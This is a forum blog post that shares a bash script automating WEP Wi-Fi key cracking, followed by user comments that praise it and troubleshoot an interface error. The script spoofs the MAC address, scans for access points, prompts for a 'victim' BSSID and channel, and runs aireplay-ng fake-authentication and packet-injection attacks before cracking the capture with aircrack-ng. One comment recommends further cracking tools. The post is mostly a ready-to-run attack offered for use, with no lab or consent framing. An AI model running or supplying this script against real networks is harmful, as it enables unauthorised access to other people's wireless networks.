• Automating WEP hack - Shell Script

    Hi Folks,

    Please find below a script written to automate wep hacking -

    Some Instructions :

    1.use first option to spoof your mac

    2.use second option to check the number of APs in your surrounding and to choose your victim wep AP ( note its mac address & channel ).

    3. third option to Hack

    4. fourth option to exit


    Please note :

    a.this script will automatically prompt and help download aircrack-ng & xterm apps for your linux system

    b. this is tested with atheros cards with ath5k & ath9k drivers.

    c. copy this code into a text editor and save it with a .sh extension in your home folder. Run sudo chmod +x <scriptname.sh> at prompt to make the script executable

    It would be great to have you members develop on this code and bring in more features.


    -----------------------------------------------------------------------------------------------------------------

    #!/bin/bash

    clear

    MAC=00:11:22:33:44:55

    INTERFACE=wlan0

    INTERFACE2=mon0

    FILE=wep

    choice=5

    echo "Please choose your hack"
    echo "1. Start Mac spoof"
    echo "2. Start Dump"
    echo "3. Start Hack"
    echo "4. Exit"
    echo -n "Choose now! [1-4]"


    while [ $choice -eq 5 ]; do
    read choice

    if [ $choice -eq 1 ] ; then

    echo "Spoofing mac"

    sudo airmon-ng stop $INTERFACE

    sudo ifconfig $INTERFACE down

    sudo apt-get install macchanger

    sudo macchanger --mac $MAC $INTERFACE

    sudo airmon-ng start $INTERFACE

    else

    if [ $choice -eq 2 ] ; then

    echo "Starting Dump"
    sudo ifconfig wlan0 down
    sudo iwconfig wlan0 mode monitor

    sudo apt-get install xterm
    sudo xterm -hold -e airodump-ng wlan0

    sleep 25
    exit 0
    else

    if [ $choice -eq 3 ] ; then
    echo "Running Hack"

    sudo apt-get install aircrack-ng
    sudo apt-get install xterm

    sudo chmod 755 /~
    sudo rm wep*.*
    sudo rm replay*.*


    echo Enter the BSSID (MAC address of Victim):
    read BSSID

    echo Enter the CHANNEL:
    read CH
    clear

    sleep 1

    sudo ifconfig wlan0 down
    sudo airmon-ng stop mon0
    sudo airmon-ng stop mon1
    sudo airmon-ng start wlan0


    xterm -e sudo airodump-ng -c $CH -w $FILE --bssid $BSSID $INTERFACE2 &

    sleep 10

    sudo aireplay-ng -1 0 -a $BSSID $INTERFACE2

    sleep 5

    xterm -e sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $BSSID $INTERFACE2
    sleep 3

    xterm -hold -e sudo aircrack-ng -b $BSSID $FILE*.cap
    else

    if [ $choice -eq 4 ] ; then
    echo "Now Exiting"
    else
    echo "Please choose your hack"
    echo "1. Start Mac spoof"
    echo "2. Start Dump"
    echo "3. Start Hack"
    echo "4. Exit"
    echo -n "Choose now! [1-3]"
    choice=5
    fi
    fi
    fi
    fi
    done
    exit 0

    --------------------------------------------------------------------------------------------------------------------
    This article was originally published in blog: Automating WEP hack - Shell Script started by AlphaCentauri
    Comments 5 Comments
    1. b0nd's Avatar
      b0nd -
      That's a good one AlphaCentauri.
    1. mirchi's Avatar
      mirchi -
      Quote Originally Posted by b0nd View Post
      That's a good one AlphaCentauri.
      great work
    1. hemanthvrm's Avatar
      hemanthvrm -
      *I AM USING RED HAT LINUX
      while using sudo,

      this is happening...

      [root@localhost /]# sudo chmod +x a.sh
      [root@localhost /]#



      if i run using sh,
      ie.,
      [root@localhost /]# sh a.sh

      i am getting

      Please choose your hack
      1. Start Mac spoof
      2. Start Dump
      3. Start Hack
      4. Exit
      Choose now! [1-4]2
      Starting Dump
      wlan0: unknown interface: No such device
      Error for wireless request "Set Mode" (8B06) :
      SET failed on device wlan0 ; No such device.
      sudo: apt-get: command not found
    1. b0nd's Avatar
      b0nd -
      Quote Originally Posted by hemanthvrm View Post
      *I AM USING RED HAT LINUX
      while using sudo,

      this is happening...

      [root@localhost /]# sudo chmod +x a.sh
      [root@localhost /]#



      if i run using sh,
      ie.,
      [root@localhost /]# sh a.sh

      i am getting

      Please choose your hack
      1. Start Mac spoof
      2. Start Dump
      3. Start Hack
      4. Exit
      Choose now! [1-4]2
      Starting Dump
      wlan0: unknown interface: No such device
      Error for wireless request "Set Mode" (8B06) :
      SET failed on device wlan0 ; No such device.
      sudo: apt-get: command not found
      Hemanth,

      The error is self explanatory, wlan0 "no such device". Your wifi card interface might be wlan1 or something else.
      Many things are hard binded in the code and the user would need to take care of all of them manually.

      I would rather suggest to stick to aircrack-ng tuts on cracking wep; they are quite comprehensive.
      or wifite.py / wep buster etc are quite good scripts.

      Rgds
    1. hemanthvrm's Avatar
      hemanthvrm -
      Quote Originally Posted by b0nd View Post
      Hemanth,

      The error is self explanatory, wlan0 "no such device". Your wifi card interface might be wlan1 or something else.
      Many things are hard binded in the code and the user would need to take care of all of them manually.

      I would rather suggest to stick to aircrack-ng tuts on cracking wep; they are quite comprehensive.
      or wifite.py is quite good script.

      Rgds
      Thanks for the reply bro..................................
  • G4H Facebook

  • G4H Twitter